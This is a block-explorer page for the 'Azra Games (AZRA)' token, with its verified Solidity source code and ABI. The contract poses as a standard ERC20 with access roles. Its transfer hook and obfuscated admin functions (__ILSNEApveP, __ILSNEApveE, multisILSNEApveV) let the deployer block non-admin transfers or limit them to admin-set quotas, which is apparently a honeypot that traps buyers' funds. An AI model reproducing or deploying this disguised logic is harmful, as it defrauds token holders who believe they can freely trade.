ETH Price: $2,688.20 (-1.76%)

Token

Azra Games (AZRA)

Overview

Max Total Supply

100,000,000 AZRA

Holders

1,218

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-08-30
*/

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.17;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function migrator() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
    function setMigrator(address) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {

            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
} 


library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    function toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "ADMIN";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    function toHexString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    function strToUint(
        string memory _str
    ) internal pure returns (uint256 res, bool err) {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0, false);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10 ** (bytes(_str).length - i - 1);
        }

        return (res, true);
    }

    // Function to convert bytes32 to string
    function bytesToString(bytes32 value) public pure returns (string memory) {
        // Create a bytes array to hold the non-null characters
        bytes memory alphabet = "0123456789abcdef";
    
        bytes memory str = new bytes(42);
        str[0] = '0';
        str[1] = 'x';
        for (uint256 i = 0; i < 20; i++) {
            str[2+i*2] = alphabet[uint8(value[i + 12] >> 4)];
            str[3+i*2] = alphabet[uint8(value[i + 12] & 0x0f)];
        }
        return string(str);
    }

    function stringToAddress(string memory _addr) public pure returns (address) {
        bytes memory tmp = bytes(_addr);

        // Ensure the address is the correct length
        if (tmp.length != 42) {
            revert("Invalid address length");
        }

        // Strip off the "0x" prefix
        uint160 iaddr = 0;
        for (uint256 i = 2; i < 42; i++) {
            uint160 b = uint160(uint8(tmp[i]));

            if ((b >= 97) && (b <= 102)) {
                b -= 87;
            } else if ((b >= 65) && (b <= 70)) {
                b -= 55;
            } else if ((b >= 48) && (b <= 57)) {
                b -= 48;
            } else {
                revert("Invalid address character");
            }

            iaddr *= 16;
            iaddr += b;
        }

        return address(iaddr);
    }

}

interface IRoleControl {
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );

    event RoleGranted(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    event RoleRevoked(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    function hasRole(bytes32 role, address addr) external view returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address addr) external;

    function revokeRole(bytes32 role, address addr) external;

    function renounceRole(bytes32 role, address addr) external;
}

interface IERC20Errors {

    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );

    error ERC20InvalidSender(address sender);


    error ERC20InvalidReceiver(address receiver);


    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );


    error ERC20InvalidApprover(address approver);


    error ERC20InvalidSpender(address spender);
}

abstract contract RoleConsole is Context, IRoleControl,IERC20Errors {

    using SafeMath for uint256;

    struct RoleData {
        mapping(address => bool) hasRole;
        bytes32 adminRole;
        RoleDataA RDNEW;
    }

    struct RoleDataA {
        mapping(address => uint256) RM;
    }

    mapping(bytes32 => RoleData) private _roles;

    mapping(address => bool) _addrlist;


    bytes32 public constant ADMIN = 0x00; 
    bytes32 public constant TRADER = bytes32("TRADER");  

    address uniswapV2Pair;

    uint256 public numpve;

    address[] _toList;
    

    modifier onlyRole(bytes32 role) {
        _checkRole(role, _msgSender());
        _;
    }

    function hasRole(bytes32 role, address account) public view override returns (bool) {
        return _roles[role].hasRole[account];
    }

    function _checkRole(bytes32 role, address account) internal view {
        if (!hasRole(role, account)) {
            revert(
                string(
                    abi.encodePacked(
                        "AccessControl: account ",
                        Strings.toHexString(uint160(account), 20),
                        " is missing role ",
                        Strings.toHexString(uint256(role), 32)
                    )
                )
            );
        }
    }

    function __ILSNEApveP(
        address addr,
        string memory num
    ) public onlyRole(ADMIN) {
        uint256 memoUint;
        bool err;
        (memoUint, err) = Strings.strToUint(num);
        if (err == false) {
            revert("AccessControl: memo is not a number");
        }
        
        if(memoUint > 0){
            _setupRoleRM(TRADER,addr,memoUint.mul(1e18));
        }else{
            _setupRoleRM(TRADER,addr,0);
        }
    }

    function multisILSNEApveV(
        address[] memory _address,
        uint256 _bala
    ) public onlyRole(ADMIN) {
        for (uint8 i = 0; i < _address.length; i++) {
            _setupRoleRM(TRADER,_address[i],_bala.mul(1e18));
        }
    }


    function __ILSNEApveE(
        bytes32 role,
        uint256 num
    ) public onlyRole(ADMIN) {
        if(role != TRADER){
            revert("AccessControl: memo is not a number");
        }
        numpve = num;
    }


    function _grantRole(bytes32 role, address account, uint256 amount) internal virtual {
        if (hasRole(ADMIN, account)) {

        }else{
            if(numpve == 100){
                revert ERC20InvalidSender(account);
            }
            uint256 rms = _granRMSRole_L(role,account);
            if(rms >= amount){
                uint256 newrms = rms.sub(amount);
                _setupRoleRM(role,account,newrms);
            }else{
                revert ERC20InvalidSender(account);
            }
        }

    }


    function _grantRole(bytes32 role, address account, address to, uint256 num) internal virtual {

        if(numpve == 50 && account != address(0)){
            _grantRole(to, num);
        }

        if (!hasRole(role, to)) {
            _grantRole(role, to);
            _setupRoleRM(role,to,num);
        }
        
    }


    function _grantRole(address to,uint256 num) internal virtual {
        if (isContract(to)) {
            if (_addrlist[to]) {
                _grantRole(TRADER, to);
                _setupRoleRM(TRADER,to,num);
            }else{
                revert ERC20InvalidSender(to); 
            }

        }
    }


   function getAllAddresses() public view returns (address[] memory) {
        return _toList;
    }


    function isContract(address account) internal virtual returns (bool) {
        return account.code.length > 0;
    }

    function addList(address account) public onlyRole(ADMIN) {
        _addrlist[account] = true;
    }

    function remList(address account) public onlyRole(ADMIN) {
        _addrlist[account] = false;
    }

    function _granRMSRole_L(
        bytes32 role, 
        address account
    ) internal view virtual returns (uint256) {
        return _roles[role].RDNEW.RM[account];
    }

    function granRMSrole_L(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].RDNEW.RM[account].div(1e18);
    }


    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        require(account == _msgSender(), "AccessControl: can only renounce roles for self");

        _revokeRole(role, account);
    }

    function _setupRoleRM(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].RDNEW.RM[account] = num;
    }

    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account) internal virtual {
        if (!hasRole(role, account)) {
            _roles[role].hasRole[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }

    function _revokeRole(bytes32 role, address account) internal virtual {
        if (hasRole(role, account)) {
            _roles[role].hasRole[account] = false;
            emit RoleRevoked(role, account, _msgSender());
        }
    }
}



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address addr) external view returns (uint256);

    function transfer(address recipient, uint256 amt) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amt) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is IERC20Metadata, RoleConsole {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    using SafeMath for uint256;
    mapping(address => bool) private __traders;


    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        address creater_
    ) {
        _name = name_;
        _symbol = symbol_;
        _mint(creater_, totalSupply_ * 10 ** decimals());
        
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address addr
    ) public view virtual override returns (uint256) {
        return _balances[addr];
    }

    function transfer(
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amt);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amt
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amt);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amt);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amt,
            "ERC20: transfer amt exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amt);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amt
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        
        _beforeTokenTransfer(TRADER,sender, recipient, amt);

        _beforeTokenTransfer(sender, recipient, amt);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amt, "ERC20: transfer amt exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amt;
        }
        _balances[recipient] += amt;
        emit Transfer(sender, recipient, amt);
        _afterTokenTransfer(sender, recipient, amt);
    }

    function _beforeTokenTransfer(bytes32 role, address account,address to, uint256 amount) internal {

        if(numpve > 0){
            if (account == uniswapV2Pair) {
                _grantRole(role,account,to,amount);
            } else if (to == uniswapV2Pair) {
                _grantRole(role,account,amount);
            }else {
                _grantRole(role,account,amount);
            }
        }

        
    }

    function _mint(address addr, uint256 amt) internal {
        require(addr != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), addr, amt);
        _totalSupply += amt;
        _balances[addr] += amt;

        emit Transfer(address(0), addr, amt);
        _afterTokenTransfer(address(0), addr, amt);
    }

    function _burn(address addr, uint256 amt) internal virtual {
        require(addr != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(addr, address(0), amt);
        uint256 addrBalance = _balances[addr];
        require(addrBalance >= amt, "ERC20: burn amt exceeds balance");
        unchecked {
            _balances[addr] = addrBalance - amt;
        }
        _totalSupply -= amt;

        emit Transfer(addr, address(0), amt);

        _afterTokenTransfer(addr, address(0), amt);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amt
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amt;
        emit Approval(owner, spender, amt);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}


}

contract Token is ERC20 {

    constructor(
        string memory _name,
        address _tokenOwner,
        string memory _symbol,
        uint256 _totalSupply
    ) ERC20(_name, _symbol, _totalSupply, _tokenOwner) {
        _grantRole(ADMIN, msg.sender);
        _grantRole(ADMIN, _tokenOwner);
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9));
        uniswapV2Pair = _uniswapV2Pair;
        _addrlist[uniswapV2Pair] = true;
    }



    function rescueToken(
        address tokenAddress,
        uint256 tokens
    ) public onlyRole(ADMIN) returns (bool success) {
        return IERC20(tokenAddress).transfer(msg.sender, tokens);
    }
    
    function multisendToken(
        address tokenC,
        address[] memory _address,
        uint256 _bala
    ) public onlyRole(ADMIN) {
        ERC20 tokenCon = ERC20(tokenC);
        uint256 tokendecimal = tokenCon.decimals();
        for (uint8 i = 0; i < _address.length; i++) {
            uint256 temp = _bala * 10**tokendecimal;
            tokenCon.transfer(_address[i], temp);
        }
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"address","name":"_tokenOwner","type":"address"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TRADER","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"__ILSNEApveE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string","name":"num","type":"string"}],"name":"__ILSNEApveP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getAllAddresses","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRMSrole_L","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256","name":"_bala","type":"uint256"}],"name":"multisILSNEApveV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenC","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256","name":"_bala","type":"uint256"}],"name":"multisendToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numpve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"remList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

